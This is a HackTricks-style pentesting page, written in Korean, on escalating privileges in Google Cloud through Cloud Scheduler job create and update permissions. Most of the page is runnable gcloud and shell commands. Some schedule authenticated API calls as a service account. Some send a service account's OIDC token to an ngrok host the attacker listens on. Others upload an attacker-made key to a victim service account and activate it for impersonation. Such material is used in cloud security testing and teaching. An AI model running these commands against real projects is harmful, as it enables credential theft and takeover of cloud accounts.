GCP - Cloud Scheduler Privesc

Support HackTricks

Cloud Scheduler

자세한 정보는 다음을 참조하세요:

GCP - Cloud Scheduler Enum

cloudscheduler.jobs.create , iam.serviceAccounts.actAs, (cloudscheduler.locations.list)

이 권한을 가진 공격자는 Cloud Scheduler를 이용해 특정 서비스 계정으로 크론 작업을 인증할 수 있습니다. HTTP POST 요청을 조작하여 공격자는 서비스 계정의 신원으로 Storage 버킷을 생성하는 등의 작업을 예약할 수 있습니다. 이 방법은 스케줄러가 *.googleapis.com 엔드포인트를 타겟팅하고 요청을 인증하는 능력을 활용하여 공격자가 간단한 gcloud 명령어를 사용해 Google API 엔드포인트를 직접 조작할 수 있게 합니다.

  • OAuth 토큰 헤더로 googleapis.com의 모든 Google API에 접속

새 Storage 버킷 생성:

gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=<PROJECT-ID>' --message-body "{'name':'new-bucket-name'}" --oauth-service-account-email 111111111111-compute@developer.gserviceaccount.com --headers "Content-Type=application/json" --location us-central1

권한을 상승시키기 위해, 공격자는 원하는 API를 대상으로 하는 HTTP 요청을 작성하고, 지정된 서비스 계정을 가장합니다.

  • OIDC 서비스 계정 토큰 유출

gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']

# Listen in the ngrok address to get the OIDC token in clear text.

HTTP 응답을 확인해야 하는 경우 실행 로그를 확인할 수 있습니다.

cloudscheduler.jobs.update, iam.serviceAccounts.actAs, (cloudscheduler.locations.list)

이전 시나리오와 마찬가지로 이미 생성된 스케줄러를 업데이트하여 토큰을 훔치거나 작업을 수행할 수 있습니다. 예를 들어:

gcloud scheduler jobs update http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']

# Listen in the ngrok address to get the OIDC token in clear text.

SA에 개인 키를 업로드하고 이를 가장하는 또 다른 예:

# Generate local private key
openssl req -x509 -nodes -newkey rsa:2048 -days 365 \
-keyout /tmp/private_key.pem \
-out /tmp/public_key.pem \
-subj "/CN=unused"

# Remove last new line character of the public key
file_size=$(wc -c < /tmp/public_key.pem)
new_size=$((file_size - 1))
truncate -s $new_size /tmp/public_key.pem

# Update scheduler to upload the key to a SA
gcloud scheduler jobs update http scheduler_lab_1 \
--schedule='* * * * *' \
--uri="https://iam.googleapis.com/v1/projects/$PROJECT_ID/serviceAccounts/victim@$PROJECT_ID.iam.gserviceaccount.com/keys:upload?alt=json" \
--message-body="{\"publicKeyData\": \"$(cat /tmp/public_key.pem | base64)\"}" \
--update-headers "Content-Type=application/json" \
--location us-central1 \
--oauth-service-account-email privileged@$PROJECT_ID.iam.gserviceaccount.com

# Check the logs to check it worked

# Build the json to contact the SA
## Get privatekey in json format
file_content=$(<"/tmp/private_key.pem")
private_key_json=$(jq -Rn --arg str "$file_content" '$str')

## Get ID of the generated key
gcloud iam service-accounts keys list --iam-account=victim@$PROJECT_ID.iam.gserviceaccount.com

# Create the json in a file
{
"type": "service_account",
"project_id": "$PROJECT_ID",
"private_key_id": "<key id from key list>",
"private_key": "$private_key_json",
"client_email": "victim@$PROJECT_ID.iam.gserviceaccount.com",
"client_id": "$(gcloud iam service-accounts describe victim@$PROJECT_ID.iam.gserviceaccount.com | grep oauth2ClientId | cut -d "'" -f 2)",
"auth_uri": "https://accounts.google.com/o/oauth2/auth",
"token_uri": "https://oauth2.googleapis.com/token",
"auth_provider_x509_cert_url": "https://www.googleapis.com/oauth2/v1/certs",
"client_x509_cert_url": "https://www.googleapis.com/robot/v1/metadata/x509/victim%40$PROJECT_ID.iam.gserviceaccount.com",
"universe_domain": "googleapis.com"
}

# Activate the generated key
gcloud auth activate-service-account --key-file=/tmp/fake_key.json

References

HackTricks 지원하기

Last updated